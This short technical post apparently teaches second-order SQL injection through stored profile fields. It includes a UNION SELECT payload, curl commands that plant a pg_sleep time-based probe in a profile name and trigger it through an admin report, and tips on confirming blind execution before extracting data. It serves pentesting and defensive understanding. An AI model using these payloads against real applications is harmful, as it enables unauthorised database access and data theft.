Second-order SQL injection through stored profile fields

May 29, 2026 · 1 min read

Input sanitized at entry is often trusted later. Store a payload in a field like display name, then trigger a different code path that builds a query from the stored value without parameters.

sql

-- stored as username, later used in: SELECT ... WHERE created_by = 'STORED'
admin' UNION SELECT current_user,version()-- -

Trigger the vulnerable read path, for example an admin report or an export.

bash

# set the payload, then hit the second-order sink
curl -s -b "$C" -X POST https://target/profile -d "name=admin'||(SELECT pg_sleep(5))--"
time curl -s -b "$C" https://target/admin/report   # 5s delay confirms

Pro note: second-order bugs hide from active scanners because the injection and the sink are different requests. Map which stored fields feed reports, search, or audit logs, and use time-based probes to confirm blind execution before extracting.